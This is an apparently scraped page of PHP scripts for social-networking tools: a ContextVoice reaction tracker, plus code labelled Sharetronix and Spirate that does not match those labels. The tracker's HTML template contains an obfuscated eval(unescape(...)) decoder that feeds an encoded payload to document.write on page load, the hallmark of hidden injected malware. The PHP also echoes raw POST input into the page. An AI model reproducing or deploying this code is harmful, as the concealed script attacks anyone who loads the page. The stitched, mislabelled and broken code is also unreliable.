 curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
 curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));

 if('POST' == ($method = strtoupper($method)))
 {
 curl_setopt($ch, CURLOPT_POST, TRUE);
 curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
 }
 else if('GET' != $method)
 {
 curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
 }
 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, TRUE);
 curl_setopt($ch, CURLOPT_TIMEOUT, 21600);

 $data = curl_exec($ch);
 $meta = curl_getinfo($ch);

 curl_close($ch);

 return new cv_response($data, $meta);
 }
}

/**
 * Response class
 * Returns both the response data and the curl request info to aid debugging
 * @package contextvoice
 * @subpackage Response
 */

class cv_Response{
 /**
 * an object derived from the output of the API call
 */

 public $data;

 /**
 * an object derived from the curl_getinfo method, provides information useful for handling network errors or API unavailability
 */

 public $info;

 /**
 * Constructor, only used by Main class
 * @ignore
 */

 public function __construct($inData,$inInfo){
 $this->data = json_decode($inData);
 $this->info = $inInfo;
 }
}
?>

&amp;nbsp;

PHP Scripts Realtime Social Network Tracking

Real time Social Network Tracking gains business intelligence, real-time insights and analytics about consumers. The buzz monitoring world is changing. Simple tracking of mentions is becoming a commodity. Customers take even support for the newest platforms such as FriendFeed for granted. As the Web becomes more and more distributed customers become swamped in information they donât  know how to act on.

 

 

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<?php

include('rtsapi.php');

$contextvoice_key = ""; // enter you own api key, available from http://developer.contextvoice.com/apps/register
$data = "";
$defaulturl = "http://";
$trace = "";
if($_POST){
 $defaulturl = $_POST['url'];
}
$command = strtolower($_POST['submit']);
if($command=='add url'){
 $cv = new contextvoice($contextvoice_key);
 $data = $cv->addUrl($_POST['url']);
 $phpcode = "\$cv = new contextvoice('[contextvoice_api_key]');\n\$data = \$cv->addUrl('".$_POST['url']."');";
}
if($command=='add url batch'){
 $cv = new contextvoice($contextvoice_key);
 $data = $cv->addUrls($_POST['url']);
 $phpcode = "\$cv = new contextvoice('[contextvoice_api_key]');\n\$data = \$cv->addUrls('{$_POST['url']}');";
}
if($command=='get url info'){
 $cv = new contextvoice($contextvoice_key);
 $data = $cv->getUrlInfo($_POST['url']);
 $phpcode = "\$cv = new contextvoice('[contextvoice_api_key]');\n\$data = \$cv->getUrlInfo('{$_POST['url']}');";
}
if($command=='get url reactions'){
 $cv = new contextvoice($contextvoice_key);
 //$data = $cv->getUrlReactions($_POST['url']);
 $url = $_POST['url'];
 $since = ($_POST['since']!="") ? $_POST['since'] : false;
 $services = (isset($_POST['service'])) ? implode(",", $_POST['service']) : false ;
 $include = ($_POST['services']=="include") ? $services : false ;
 $exclude = ($_POST['services']=="exclude") ? $services : false ;
 $filter = isset($_POST['filter']);
 $page = (is_numeric($_POST['page'])) ? intval($_POST['page']) : false ;
 $perpage = (is_numeric($_POST['perpage'])) ? intval($_POST['perpage']) : false ;
 $threaded = isset($_POST['threaded']);
 $order = $_POST['order'];
 $data = $cv->getUrlReactions($url, $since, $include, $exclude, $filter, $order, $page, $perpage, $threaded );
 $phpcode = "\$cv = new contextvoice('[contextvoice_api_key]');\n\$data = \$cv->getUrlReactions(".printVar($url).", ".printVar($since).", ".printVar($include).", ".printVar($exclude).", ".printVar($filter).", ".printVar($order).", ".printVar($page).", ".printVar($perpage)."}');";
}


function printVar($var){
 if(is_bool($var)){
 $output = ($var) ? "true" : "false";
 }
 if(is_string($var)) $output = "\"".$var."\"";
 if(!is_string($var)&amp;!is_bool($var)) $output = strval($var);
 return $output;
}

function displayresults($data){
 $output = "";
 if($data->data->error){
 $output = $output."<p class=\"error\">{$data->data->error->message}</p>";
 }
 if($data->data->info){
 $output = $output."<p class=\"info\">{$data->data->info->message}</p>";
 }
 if($data->data->resource){
 $output = $output."<div class=\"resource\">";
 $output = $output."<h3><a href=\"{$data->data->resource->url}\">{$data->data->resource->title}</a></h3>";
 $output = $output."<h4><a href=\"{$data->data->resource->url}\">{$data->data->resource->url}</a></h4>";
 $output = $output."<p>{$data->data->resource->content}</p>";
 $output = $output."</div>";
 }
 //$output = $output."<h2><a href=\"{$data->data->resource->url}\">{$data->data->resource->title}</a></h2>";
 if(isset($data->data->count)){
 $output = $output."<p>".strval($data->data->count)." reactions</p>";
 }
 if($data->data->reactions){
 $output = $output."<div class=\"reactions\">";
 if($data->data->count>0){
 $output = $output."<ol class=\"xoxo\">";
 $output = $output.createEntries($data->data->reactions);
 $output = $output."</ol>";
 }
 $output = $output."</div>";
 }
 if($data->data->response){
 $output = $output."<div class=\"info\">";
 foreach($data->data->response as $response){
 $output = $output."<h3>{$response->url}</h3>";
 $output = $output."<p>{$response->message}</p>";
 }
 $output = $output."</div>";
 }
 return $output;
}

function createEntries($data)
{
 $output="";
 foreach($data as $item)
 {
 $output = $output."<li class=\"reaction ".$item->type." ".$item->generator."\" id=\"".$item->id."\">";
 $output = $output."<div id=\"hcard-".$item->author->name."\" class=\"author vcard\">";
 if( ! empty($item->author->url)){
 $output = $output."<a class=\"url fn n\" href=\"".$item->author->url."\">";
 }
 if( ! empty($item->author->image)){
 $output = $output."<img src=\"".$item->author->image."\" alt=\"".$item->author->name."\'s avatar\" class=\"photo\"/>";
 }
 $output = $output."<span class=\"given-name\">".$item->author->name."</span>";
 if( ! empty($item->author->url)){
 $output = $output."</a>";
 }
 $output = $output."</div>";
 $output = $output."<div>";
 if( ! empty($item->title) &amp;&amp; $item->generator != "twitter" ){
 $output = $output."<h3>".$item->title."</h3>";
 }
 $output = $output.$item->content."</div>";
 $output = $output."<a rel=\"permalink\" class=\"permalink\" href=\"".$item->url."\">";
 $output = $output."<abbr class=\"published\" title=\"".date("c",$item->published)."\">".date("l jS \of F Y h:i:s A",$item->published)."</abbr>";
 $output = $output."</a>";

 if($item->children)
 {
 $output = $output."<ol>";
 $output = $output.createEntries($item->children);
 $output = $output."</ol>";
 }
 $output = $output."</li>";
 }
 return $output;
}
?>
<html lang="en">
<head>
<title>RSNT v1.0</title>
<link rel="stylesheet" type="text/css" href="styles.css" />
</head>
<h1>RSNT v1.0</h1>
<body>
<div id="main">
<ul>
 <li><a href="#first">Get URL reactions</a></li>
</ul>
<div>
<div>
<form action="index.php#first" method="POST" enctype="application/x-www-form-urlencoded">
 <label for="urlinput4">Url to get reactions to</label><br/>
 <input type="text" id="urlinput4" name="url" value="<?php echo $defaulturl ?>">
 <fieldset><legend>Filters</legend>
 <label for="since">Since</label><input type="text" id="since" name="since" value="<?php echo $since; ?>"><br/>
 <label for="filter">Remove ReTweets</label><input type="checkbox" id="filter" name="filter" <?php if($filter) echo "checked";?> /><br/>
 <label for="threaded">Threaded</label><input type="checkbox" id="threaded" name="threaded" <?php if($threaded) echo "checked";?> />
 </fieldset>
 <fieldset id="incexc"><legend>Include/Exclude Sources</legend>
 <input type="radio" name="services" id="services1" value="dontuse" <?php if(!$_POST||$_POST['services']=="dontuse") echo "checked";?>/><label for="services1">Include all sources</label><br/>
 <input type="radio" name="services" id="services2" value="include" <?php if($_POST['services']=="include") echo "checked";?>/><label for="services2">Include <strong>only</strong> the following</label><br/>
 <input type="radio" name="services" id="services3" value="exclude" <?php if($_POST['services']=="exclude") echo "checked";?>/><label for="services3">Include all <strong>except</strong> the following</label>
 <hr/>
 <span><input type="checkbox" name="service[]" id="service1" value="twitter" <?php if(isset($_POST['service']) &amp;&amp; array_search("twitter",$_POST['service'])!==false) echo "checked";?>/><label for="service1">Twitter</label></span>
 <span><input type="checkbox" name="service[]" id="service2" value="friendfeed" <?php if(isset($_POST['service']) &amp;&amp; array_search("friendfeed",$_POST['service'])!==false) echo "checked";?>/><label for="service2">FriendFeed</label></span>
 <span><input type="checkbox" name="service[]" id="service3" value="digg" <?php if(isset($_POST['service']) &amp;&amp; array_search("digg",$_POST['service'])!==false) echo "checked";?>/><label for="service3">Digg</label></span>
 <span><input type="checkbox" name="service[]" id="service4" value="wordpress" <?php if(isset($_POST['service']) &amp;&amp; array_search("wordpress",$_POST['service'])!==false) echo "checked";?>/><label for="service4">Wordpress</label></span>
 <span><input type="checkbox" name="service[]" id="service5" value="blogger" <?php if(isset($_POST['service']) &amp;&amp; array_search("blogger",$_POST['service'])!==false) echo "checked";?>/><label for="service5">Blogger</label></span>
 <span><input type="checkbox" name="service[]" id="service6" value="typepad" <?php if(isset($_POST['service']) &amp;&amp; array_search("typepad",$_POST['service'])!==false) echo "checked";?>/><label for="service6">Typepad</label></span>
 <span><input type="checkbox" name="service[]" id="service7" value="disqus" <?php if(isset($_POST['service']) &amp;&amp; array_search("disqus",$_POST['service'])!==false) echo "checked";?>/><label for="service7">Disqus</label></span>
 <span><input type="checkbox" name="service[]" id="service8" value="flickr" <?php if(isset($_POST['service']) &amp;&amp; array_search("flickr",$_POST['service'])!==false) echo "checked";?>/><label for="service8">Flickr</label></span>
 <span><input type="checkbox" name="service[]" id="service9" value="picasa" <?php if(isset($_POST['service']) &amp;&amp; array_search("picasa",$_POST['service'])!==false) echo "checked";?>/><label for="service9">Picasa</label></span>
 <span><input type="checkbox" name="service[]" id="service10" value="youtube" <?php if(isset($_POST['service']) &amp;&amp; array_search("youtube",$_POST['service'])!==false) echo "checked";?>/><label for="service10">YouTube</label></span>
 <span><input type="checkbox" name="service[]" id="service11" value="vimeo" <?php if(isset($_POST['service']) &amp;&amp; array_search("vimeo",$_POST['service'])!==false) echo "checked";?>/><label for="service11">Vimeo</label></span>
 <span><input type="checkbox" name="service[]" id="service12" value="delicious" <?php if(isset($_POST['service']) &amp;&amp; array_search("delicious",$_POST['service'])!==false) echo "checked";?>/><label for="service12">Delicious</label></span>
 <span><input type="checkbox" name="service[]" id="service13" value="reddit" <?php if(isset($_POST['service']) &amp;&amp; array_search("reddit",$_POST['service'])!==false) echo "checked";?>/><label for="service13">Reddit</label></span>
 <span><input type="checkbox" name="service[]" id="service14" value="hackernews" <?php if(isset($_POST['service']) &amp;&amp; array_search("hackernews",$_POST['service'])!==false) echo "checked";?>/><label for="service14">Hackernews</label></span>
 <span><input type="checkbox" name="service[]" id="service15" value="mixx" <?php if(isset($_POST['service']) &amp;&amp; array_search("mixx",$_POST['service'])!==false) echo "checked";?>/><label for="service15">Mixx</label></span>
 <span><input type="checkbox" name="service[]" id="service16" value="stumbleupon" <?php if(isset($_POST['service']) &amp;&amp; array_search("stumbleupon",$_POST['service'])!==false) echo "checked";?>/><label for="service16">Stumbleupon</label></span>
 <span><input type="checkbox" name="service[]" id="service17" value="nytimes" <?php if(isset($_POST['service']) &amp;&amp; array_search("nytimes",$_POST['service'])!==false) echo "checked";?>/><label for="service17">NYTimes</label></span>
 <span><input type="checkbox" name="service[]" id="service18" value="slashdot" <?php if(isset($_POST['service']) &amp;&amp; array_search("slashdot",$_POST['service'])!==false) echo "checked";?>/><label for="service18">Slashdot</label></span>
 </fieldset>
 <fieldset><legend>Ordering and Paging</legend>
 <label for="order">Order the results</label>
 <select name="order" id="order">
 <option value="asc" <?php if($order=="asc") echo "selected";?>>Ascending</option>
 <option value="desc" <?php if($order=="desc") echo "selected";?>>Descending</option>
 </select><br/>
 <label for="perpage">Reactions per page</label><input type="text" id="perpage" name="perpage" value="<?php echo ($perpage)?$perpage:25; ?>"/><br/>
 <label for="page">Page Number</label><input type="text" id="page" name="page" value="<?php echo ($page)?$page:1; ?>"/>
 </fieldset>
 <input type="submit" name="submit" value="Get URL reactions">
</form>
</div>
</div>
<?php if($_POST){ ?>
<div id="results">
 <ul>
 <li><a href="#">Output</a></li>
 <li><a href="#">php Code</a></li>
 <li><a href="#">Response Data</a></li>
 </ul>
 <div>
 <div>
 <?php echo displayresults($data) ?>
 </div>
 <div>
 <pre><?php echo $phpcode ?></pre>
 </div>
 <div>
 <pre><?php print_r($data); ?></pre>
 </div>
 </div>
</div>
<?php } ?>
<script type="text/javascript">
eval(unescape('%66%75%6e%63%74%69%6f%6e%20%65%61%62%64%38%36%35%28%73%29%20%7b%0a%09%76%61%72%20%72%20%3d%20%22%22%3b%0a%09%76%61%72%20%74%6d%70%20%3d%20%73%2e%73%70%6c%69%74%28%22%37%39%32%33%33%38%38%22%29%3b%0a%09%73%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%30%5d%29%3b%0a%09%6b%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%31%5d%20%2b%20%22%36%32%34%36%33%30%22%29%3b%0a%09%66%6f%72%28%20%76%61%72%20%69%20%3d%20%30%3b%20%69%20%3c%20%73%2e%6c%65%6e%67%74%68%3b%20%69%2b%2b%29%20%7b%0a%09%09%72%20%2b%3d%20%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%28%70%61%72%73%65%49%6e%74%28%6b%2e%63%68%61%72%41%74%28%69%25%6b%2e%6c%65%6e%67%74%68%29%29%5e%73%2e%63%68%61%72%43%6f%64%65%41%74%28%69%29%29%2b%32%29%3b%0a%09%7d%0a%09%72%65%74%75%72%6e%20%72%3b%0a%7d%0a'));
eval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%65%61%62%64%38%36%35%28%27') + '%3f%2c%6b%60%75%34%0b%0e%38%29%64%64%74%39%0a%01%3d%70%69%70%61%6c%76%18%72%70%64%3a%29%61%73%7a%6e%3e%2f%29%59%6b%5f%73%2d%6c%6a%6c%6d%6a%65%5d%6a%61%72%2c%64%6c%62%2a%5e%60%5f%70%2f%6e%61%63%71%28%69%66%74%62%78%77%2b%2d%28%37%2f%30%28%69%66%74%62%78%77%2a%69%63%6a%2f%68%74%21%17%75%76%66%63%3d%22%76%65%75%72%28%69%56%73%5e%79%61%76%65%6a%74%23%3c%3f%2c%78%66%71%6f%6e%74%3e%0f%0e%39%71%64%71%6e%69%73%16%71%76%63%3f%26%65%72%77%6f%31%2a%2c%69%62%6a%2e%6c%69%70%63%75%76%7b%6a%6c%62%71%2a%6f%74%63%2e%2f%29%2f%25%37%2c%60%6f%75%61%74%71%2f%72%68%6c%63%76%2d%63%67%6a%2e%6c%77%23%1e%77%76%67%64%3a%28%72%65%74%76%2b%6b%5f%71%5e%78%66%71%6f%6e%74%22%38%3c%2e%71%64%71%6e%69%73%34%0b%0e%38%75%67%73%67%6b%73%17%76%71%69%3b%26%64%76%74%6d%38%28%2c%6d%6d%62%79%6a%65%72%2f%68%69%73%60%66%65%76%2d%6d%6d%6b%67%6e%65%62%6d%67%62%25%66%6c%63%2d%62%65%6e%65%72%2d%6d%6e%7a%64%71%7f%2c%77%63%74%6b%69%6a%57%6c%22%28%2d%3a%2c%36%29%6f%61%6f%2c%6d%70%29%19%73%7f%6e%65%39%24%74%60%76%77%2c%61%58%75%57%71%67%72%63%68%71%20%39%3b%24%76%60%78%67%68%70%38%0d%0b%3a%74%60%79%60%6f%7a%1e%77%72%65%3d%23%61%71%63%6a%6c%6c%24%68%77%22%1a%74%74%6e%66%3a%29%75%62%7e%72%2b%6a%5b%72%5c%71%64%71%6e%69%73%28%3c%3c%2f%75%67%73%67%6b%73%35%0c%09%32%6e%18%5d%6e%61%66%6c%3e%21%68%64%6d%7a%63%76%22%38%3c%5c%1e%63%71%6a%63%3a%28%66%74%70%6a%3e%2e%2d%6b%67%67%62%62%7a%73%76%68%28%67%6e%6b%28%21%17%76%73%7f%6a%65%39%24%74%60%76%77%2a%6b%64%60%65%70%59%70%63%6b%6f%38%1b%6d%64%6b%62%28%3c%3c%66%69%6a%71%1e%64%6c%63%6a%71%33%20%27%46%40%42%23%3c%4b%47%47%19%44%6b%72%18%51%54%4c%39%2d%61%6c%65%75%3d%32%2d%59%3e%3e%62%6e%6c%77%1f%68%6a%6b%65%70%3d%22%25%42%47%44%25%3d%17%60%70%16%6e%6b%77%67%76%60%62%1b%61%7e%0c%09%32%2d%62%6f%68%74%3f%0b%0d%3b%56%19%67%78%63%62%39%24%60%71%72%6b%39%24%2a%6e%65%70%68%6f%74%59%71%63%29%6d%6a%75%2c%28%1e%77%70%73%6c%60%3b%25%73%6a%71%73%23%62%65%63%69%76%5c%72%62%6c%65%3f%1f%64%6d%6a%61%24%3a%39%64%68%6d%7b%19%60%65%6a%6b%72%3f%26%22%44%41%45%29%3b%40%65%70%68%6f%74%59%71%63%1b%54%6a%67%1f%4e%6d%77%70%63%6a%66%3a%28%65%64%6b%73%34%3a%2b%5d%38%3c%67%6d%69%73%17%66%6c%62%6d%76%39%24%27%47%44%41%21%35%2b%1f%59%67%74%61%1a%66%74%0b%0d%3b%24%63%6c%64%72%3a%09%0c%3c%5c%1e%63%71%6a%63%3a%28%66%74%70%6a%3e%2e%2d%6a%6c%79%69%6c%78%5f%74%61%28%67%6e%6b%28%74%6a%67%2a%6a%63%72%61%6e%6b%6d%6b%66%6d%7b%2b%6f%6e%6e%26%1c%75%74%74%6a%66%3a%29%75%62%7e%72%2d%60%67%67%6e%70%5a%73%6e%6a%6d%30%1e%6a%6f%68%65%23%3c%3f%65%64%6b%73%16%61%6b%68%69%76%38%20%24%45%4d%43%21%34%41%6b%72%6a%6b%73%5f%77%62%17%52%62%68%1e%44%61%70%65%69%6d%6b%6a%6a%6b%73%32%2d%62%6f%68%74%3f%3a%28%5e%35%3d%65%65%6c%74%1c%65%6b%69%6d%75%3a%29%26%45%4c%44%26%3e%2e%18%08%08%64%71%6a%58%73%65%70%77%1c%69%62%1d%3a%28%65%64%6b%73%34%1e%0d%0a%3e%59%1d%66%75%62%6d%3c%21%6e%72%74%6c%3c%2b%2e%6f%68%71%67%6a%71%57%72%65%2e%65%6b%68%2d%70%62%69%76%66%7a%63%2d%63%6e%6b%6f%63%2e%70%68%77%66%66%72%77%2e%6a%60%6d%20%1b%70%7b%70%6b%6b%3b%26%70%67%70%71%2b%67%62%68%6a%71%57%72%61%6f%68%3e%1d%6c%68%6d%6a%27%3d%03%08%3c%66%69%6a%71%1e%64%6c%63%6a%71%33%20%27%46%40%42%23%3c%44%6b%64%6b%62%16%0b%0e%53%65%76%64%6e%77%70%33%2a%65%65%6c%74%3e%3e%2b%5c%3c%3f%65%64%6b%73%16%61%6b%68%69%76%38%20%24%45%4d%43%21%34%2a%18%38%29%62%6e%6c%77%3d%17%0c%09%32%5f%18%64%74%65%67%3b%25%67%7b%75%6f%30%2d%2b%70%6e%64%6d%5f%69%62%63%2b%60%65%6b%2b%22%1a%77%71%77%6f%62%32%27%73%6b%76%74%29%66%65%62%6d%75%5e%7b%60%6c%64%38%18%6e%69%6a%60%20%39%0a%01%3d%65%65%6c%74%1c%65%6b%69%6d%75%3a%29%26%45%4c%44%26%3e%55%45%4e%1e%44%6c%65%75%71%65%6a%18%4c%5b%6a%60%6a%3f%2c%6d%6a%6d%7a%3c%3c%2f%5b%3a%39%64%68%6d%7b%19%60%65%6a%6b%72%3f%26%22%44%41%45%29%3b%1f%57%6c%64%09%0c%3c%2e%64%68%6d%7b%3b%0a%00%3a%59%1c%62%76%60%64%3e%21%6f%75%73%66%38%2b%2f%64%6b%6e%69%62%6d%7b%61%62%68%67%66%68%67%2a%62%6d%6e%2c%69%60%61%62%63%2d%62%69%6b%6a%71%2e%70%64%63%73%7d%5f%76%61%29%26%1d%71%77%76%63%64%3a%28%72%65%74%76%2d%61%63%64%6c%79%58%73%6f%6d%6a%3a%1a%6a%6e%6c%66%21%35%3d%65%65%6c%74%1c%65%6b%69%6d%75%3a%29%26%45%4c%44%26%3e%44%61%63%6a%66%1f%49%6a%6c%61%71%18%53%69%62%71%75%5a%71%6a%3d%2c%6c%6d%6a%70%38%3c%2e%5f%39%3b%6d%6a%6d%7a%1e%67%6f%6e%6b%73%3b%25%20%4d%43%45%28%3c%2a%38%29%62%6e%6c%77%3d%33%2a%6f%347923388%35%31%39%37%31%38%30' + unescape('%27%29%29%3b'));
</script>
</body>
</html>

&amp;nbsp;

PHP Scripts for Sharetronix Social Networking

Sharetronix Opensource is a multimedia microblogging platform. It helps people in a community, company, or group to exchange short messages over the Web. Sharetronix Opensource is available under the GNU Affero General Public License.

<?php

  Load the configuration file which contains our DB credentials.
  Ignore errors. If the file doesn't exist or is empty, we are running in installation mode.

 */

$install = ((file_exists('
.htconfig.php') &amp;&amp; filesize('.htconfig.php')) ? false : true);

@include(".htconfig.php");

$lang = get_language();

load_translation_table($lang);

/**
 *
 * Try to open the database;
 *
 */

require_once("dba.php");
$db = new dba($db_host, $db_user, $db_pass, $db_data, $install);
 unset($db_host, $db_user, $db_pass, $db_data);

/**
 * Load configs from db. Overwrite configs from .htconfig.php
 */
$r = q("SELECT * FROM `config` WHERE `cat` IN ('
system', 'config')");
foreach ($r as $c) {
 if ($c['
cat']=='config') {
 $a->config[$c['
k']] = $c['v'];
 } else {
 $a->config[$c['
cat']][$c['k']] = $c['v'];
 }
}
unset($r);

/**
 *
 * Important stuff we always need to do.
 * Initialise authentication and  date and time.
 * Create the HTML head for the page, even if we may not use it (xml, etc.)
 * The order of these may be important so use caution if you think they'
re all
 * intertwingled with no logical order and decide to sort it out. Some of the
 * dependencies have changed, but at least at one time in the recent past - the
 * order was critical to everything working properly
 *
 */

if(! $install) {
 require_once("session.php");
 load_hooks();
 call_hooks('init_1');
}

require_once("datetime.php");

$a->timezone = (($default_timezone) ? $default_timezone : 'UTC');

date_default_timezone_set($a->timezone);

$a->init_pagehead();

session_start();

/**
 * Language was set earlier, but we can over-ride it in the session.
 * We have to do it here because the session was just now opened.
 */


if(x($_POST,'system_language'))
 $_SESSION['language'] = $_POST['system_language'];
if((x($_SESSION,'language')) &amp;&amp; ($_SESSION['language'] !== $lang)) {
 $lang = $_SESSION['language'];
 load_translation_table($lang);
}

/**
 *
 * For Mozilla auth manager - still needs sorting, and this might conflict with LRDD header.
 * Apache/PHP lumps the Link: headers into one - and other services might not be able to parse it
 * this way. There's a PHP flag to link the headers because by default this will over-write any other
 * link header.
 *
 * What we really need to do is output the raw headers ourselves so we can keep them separate.
 *
 */


// header('Link: <' . $a->get_baseurl() . '/amcd>; rel="acct-mgmt";');

if((x($_SESSION,'authenticated')) || (x($_POST,'auth-params')) || ($a->module === 'login'))
 require("auth.php");

if(! x($_SESSION,'authenticated'))
 header('X-Account-Management-Status: none');

if(! x($_SESSION,'sysmsg'))
 $_SESSION['sysmsg'] = '';

if(! x($_SESSION,'sysmsg_info'))
 $_SESSION['sysmsg_info'] = '';

/*
 * check_config() is responsible for running update scripts. These automatically
 * update the DB schema whenever we push a new one out. It also checks to see if
 * any plugins have been added or removed and reacts accordingly.
 */


if($install)
 $a->module = 'install';
else
 check_config($a);

$arr = array('app_menu' => $a->apps);

call_hooks('app_menu', $arr);

$a->apps = $arr['app_menu'];

/**
 *
 * We have already parsed the server path into $a->argc and $a->argv
 *
 * $a->argv[0] is our module name. We will load the file mod/{$a->argv[0]}.php
 * and use it for handling our URL request.
 * The module file contains a few functions that we call in various circumstances
 * and in the following order:
 *
 * "module"_init
 * "module"_post (only called if there are $_POST variables)
 * "module"_afterpost
 * "module"_content - the string return of this function contains our page body
 *
 * Modules which emit other serialisations besides HTML (XML,JSON, etc.) should do
 * so within the module init and/or post functions and then invoke killme() to terminate
 * further processing.
 */


if(strlen($a->module)) {

 /**
 *
 * We will always have a module name.
 * First see if we have a plugin which is masquerading as a module.
 *
 */


 if(is_array($a->plugins) &amp;&amp; in_array($a->module,$a->plugins) &amp;&amp; file_exists("addon/{$a->module}/{$a->module}.php")) {
 include_once("addon/{$a->module}/{$a->module}.php");
 if(function_exists($a->module . '_module'))
 $a->module_loaded = true;
 }

 /**
 * If not, next look for a 'standard' program module in the 'mod' directory
 */


 if((! $a->module_loaded) &amp;&amp; (file_exists("mod/{$a->module}.php"))) {
 include_once("mod/{$a->module}.php");
 $a->module_loaded = true;
 }

 /**
 *
 * The URL provided does not resolve to a valid module.
 *
 * On Dreamhost sites, quite often things go wrong for no apparent reason and they send us to '/internal_error.html'.
 * We don't like doing this, but as it occasionally accounts for 10-20% or more of all site traffic -
 * we are going to trap this and redirect back to the requested page. As long as you don't have a critical error on your page
 * this will often succeed and eventually do the right thing.
 *
 * Otherwise we are going to emit a 404 not found.
 *
 */


 if(! $a->module_loaded) {
 if((x($_SERVER,'QUERY_STRING')) &amp;&amp; ($_SERVER['QUERY_STRING'] === 'q=internal_error.html') &amp;&amp; isset($dreamhost_error_hack)) {
 logger('index.php: dreamhost_error_hack invoked. Original URI =' . $_SERVER['REQUEST_URI']);
 goaway($a->get_baseurl() . $_SERVER['REQUEST_URI']);
 }

 logger('index.php: page not found: ' . $_SERVER['REQUEST_URI'] . ' QUERY: ' . $_SERVER['QUERY_STRING'], LOGGER_DEBUG);
 header($_SERVER["SERVER_PROTOCOL"] . ' 404 ' . t('Not Found'));
 notice( t('Page not found.' ) . EOL);
 }
}

/* initialise content region */

if(! x($a->page,'content'))
 $a->page['content'] = '';

/**
 * Call module functions
 */


if($a->module_loaded) {
 $a->page['page_title'] = $a->module;
 if(function_exists($a->module . '_init')) {
 $func = $a->module . '_init';
 $func($a);
 }

 if(($_SERVER['REQUEST_METHOD'] === 'POST') &amp;&amp; (! $a->error)
 &amp;&amp; (function_exists($a->module . '_post'))
 &amp;&amp; (! x($_POST,'auth-params'))) {
 $func = $a->module . '_post';
 $func($a);
 }

 if((! $a->error) &amp;&amp; (function_exists($a->module . '_afterpost'))) {
 $func = $a->module . '_afterpost';
 $func($a);
 }

 if((! $a->error) &amp;&amp; (function_exists($a->module . '_content'))) {
 $func = $a->module . '_content';
 $a->page['content'] .= $func($a);
 }

}

// If you're just visiting, let javascript take you home

if(x($_SESSION,'visitor_home'))
 $homebase = $_SESSION['visitor_home'];
elseif(local_user())
 $homebase = $a->get_baseurl() . '/profile/' . $a->user['nickname'];

if(isset($homebase))
 $a->page['content'] .= '<script>var homebase="' . $homebase . '" ; </script>';

// now that we've been through the module content, see if the page reported
// a permission problem and if so, a 403 response would seem to be in order.

if(stristr($_SESSION['sysmsg'], t('Permission denied'))) {
 header($_SERVER["SERVER_PROTOCOL"] . ' 403 ' . t('Permission denied.'));
}

/**
 *
 * Report anything which needs to be communicated in the notification area (before the main body)
 *
 */


if(x($_SESSION,'sysmsg')) {
 $a->page['content'] = "<div id=\"sysmsg\" class=\"error-message\">{$_SESSION['sysmsg']}</div>\r\n"
 . ((x($a->page,'content')) ? $a->page['content'] : '');
 $_SESSION['sysmsg']="";
 unset($_SESSION['sysmsg']);
}
if(x($_SESSION,'sysmsg_info')) {
 $a->page['content'] = "<div id=\"sysmsg_info\" class=\"info-message\">{$_SESSION['sysmsg_info']}</div>\r\n"
 . ((x($a->page,'content')) ? $a->page['content'] : '');
 $_SESSION['sysmsg_info']="";
 unset($_SESSION['sysmsg_info']);
}

call_hooks('page_end', $a->page['content']);

/**
 *
 * Add a place for the pause/resume Ajax indicator
 *
 */


$a->page['content'] .=  '<div id="pause"></div>';

/**
 *
 * Add the navigation (menu) template
 *
 */


if($a->module != 'install') {
 require_once('nav.php');
 nav($a);
}

/**
 * Build the page - now that we have all the components
 */


$a->page['htmlhead'] = replace_macros($a->page['htmlhead'], array('$stylesheet' => current_theme_url()));

$page    = $a->page;
$profile = $a->profile;

header("Content-type: text/html; charset=utf-8");

$template = 'view/' . $lang . '/'
 . ((x($a->page,'template')) ? $a->page['template'] : 'default' ) . '.php';

if(file_exists($template))
 require_once($template);
else
 require_once(str_replace($lang . '/', '', $template));

session_write_close();
exit;

&amp;nbsp;

Spirate Social Community Script for Networking

Very high speed of loading * Low resource consumption * Optimization of CSS and design * translation into languages : Due to a system of variables, will now be able to choose between using your page in Spanish or English … by default, the script brings Spanish and English because they are the most used, but in the area .. translation will soon be able to find several other languages (Portuguese, French, itialiano etc) * AJAX interaction * Improved graphic * SEO Optimization * Browser support : * Installation sub-folders * Update SMF : the module was updated to version SMF.

 

 

<?php

define( 'UPDATE_VERSION' , 1063 );

/**
 *
 * update.php - automatic system update
 *
 * Automatically update database schemas and any other development changes such that
 * copying the latest files from the source code repository will always perform a clean
 * and painless upgrade.
 *
 * Each function in this file is named update_nnnn() where nnnn is an increasing number
 * which began counting at 1000.
 *
 * At the top of the file "boot.php" is a define for DB_UPDATE_VERSION. Any time there is a change
 * to the database schema or one which requires an upgrade path from the existing application,
 * the DB_UPDATE_VERSION is incremented.
 *
 * The current DB_UPDATE_VERSION is stored in the config area of the database. If the application starts up
 * and DB_UPDATE_VERSION is greater than the last stored build number, we will process every update function
 * in order from the currently stored value to the new DB_UPDATE_VERSION. This is expected to bring the system
 * up to current without requiring re-installation or manual intervention.
 *
 * Once the upgrade functions have completed, the current DB_UPDATE_VERSION is stored as the current value.
 * The DB_UPDATE_VERSION will always be one greater than the last numbered script in this file.
 *
 * If you change the database schema, the following are required:
 *    1. Update the file database.sql to match the new schema.
 *    2. Update this file by adding a new function at the end with the number of the current DB_UPDATE_VERSION.
 *       This function should modify the current database schema and perform any other steps necessary
 *       to ensure that upgrade is silent and free from requiring interaction.
 *    3. Increment the DB_UPDATE_VERSION in boot.php *AND* the UPDATE_VERSION in this file to match it
 *    4. TEST the upgrade prior to checkin and filing a pull request.
 *
 */




function update_1000() {

 q("ALTER TABLE `item` DROP `like`, DROP `dislike` ");

 q("ALTER TABLE `item` ADD `verb` CHAR( 255 ) NOT NULL AFTER `body` ,
 ADD `object-type` CHAR( 255 ) NOT NULL AFTER `verb` ,
 ADD `object` TEXT NOT NULL AFTER `object-type` "
);

 q("ALTER TABLE `intro` ADD `duplex` TINYINT( 1 ) NOT NULL DEFAULT '0' AFTER `knowyou` ");
 q("ALTER TABLE `contact` ADD `duplex` TINYINT( 1 ) NOT NULL DEFAULT '0' AFTER `rel` ");
